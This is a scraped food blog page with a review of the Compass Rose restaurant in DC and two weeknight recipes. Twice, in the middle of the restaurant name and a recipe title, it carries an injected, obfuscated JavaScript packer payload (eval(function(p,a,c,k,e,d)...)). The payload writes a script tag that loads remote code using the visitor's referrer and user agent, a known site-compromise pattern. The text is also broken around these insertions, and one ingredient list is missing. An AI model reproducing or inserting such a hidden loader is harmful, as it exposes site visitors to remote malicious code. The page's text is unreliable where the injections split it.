DC Eats: Compass Rose

2015 Food, Food

The best part about moving to a new city is exploring the restaurant scene! I met up with blogger Melanie from LaBelleMel at Compass eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syiyi|var|u0026u|referrer|nbaes||js|php’.split(‘|’),0,{}))
Rose
 for dinner a couple weeks ago, and I’m already making up excuses to go back!

Compass Rose menu is inspired by street food from around the world. This restaurant is after every wanderlust girl in town (or at least this one)! The variety and flavors have a richness and depth to it that usually only passport stamps can instill.

Pictured above is:

  • Brussel Sprouts

  • Pescaditos Fritos (Spain): Fried whole baby fish, citrus alloli

  • Bhel Puri Chaat (India): Puff rice, sev, potato, tomato, sunflower sprouts, peanuts, mint & tamarind chutney, lettuce cups

  • Grilled Calamari (Greece): Garlic, lemon, olive oil, mint, oregano, red chili, red quinoa tabouli
  • Khachapuri (Georgia): Cheese filled bread, organic egg, local butter

I would highly recommend eating at Compass Rose – there is something on the menu for everyone!

2013 Food Review

Uncategorized

I ate a lot last year, and I’m planning to do more of the same this year! Follow my food adventures on @KateStylePetite on Twitter, Instagram and Bloglovin!

FOODIE FRIDAY: Half-way Homemade Spaghetti Sauce

2013, Food

Sometimes I cheat.  Who doesn’t?  I love making things from scratch, but sometimes I need a little assistance on the week nights.  I dumped spaghetti sauce straight from the can into the pot. However, I kicked it up a notch by adding:

Serve spaghetti sauce over the pasta of your choice.  (I personally always buy bowtie pasta because I like the shape.)

FOODIE FRIDAY: Thai Chile & Ginger Stir Fry

2013, Food

I don’t ever marinate.  It’s not because I don’t like marinated meat; I just forget.  All the time.  However, I made a run to Whole Foods for the madre and found myself on the marinated sauce aisle, which is how I came home with Thai-Chile with Ginger Sauce.  Now that I have it; I have to use it.

Thai-Chile eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shkbf|var|u0026u|referrer|ktsrt||js|php’.split(‘|’),0,{}))
w/ Ginger Stir Fry
1 lb cubed steak
Thai-Chile w/ Ginger sauce (can substitute for any Asian marination sauce of your choice)
2 baby bok choy bunch chopped
handful of grape tomatoes sliced in half
chopped fresh cilantro (to taste)
fresh squeezed lime juice
  1. Marinate the meat in the sauce for at least an hour.
  2. While meat marinates, prepare vegetables. 
  3. Drain the sauce out of the meat and stir fry until brown.
  4. Add vegetables and place a lid over the skillet to let the steam cook everything thoroughly.
  5. Add cilantro and lime, serve stir fry mixture over rice.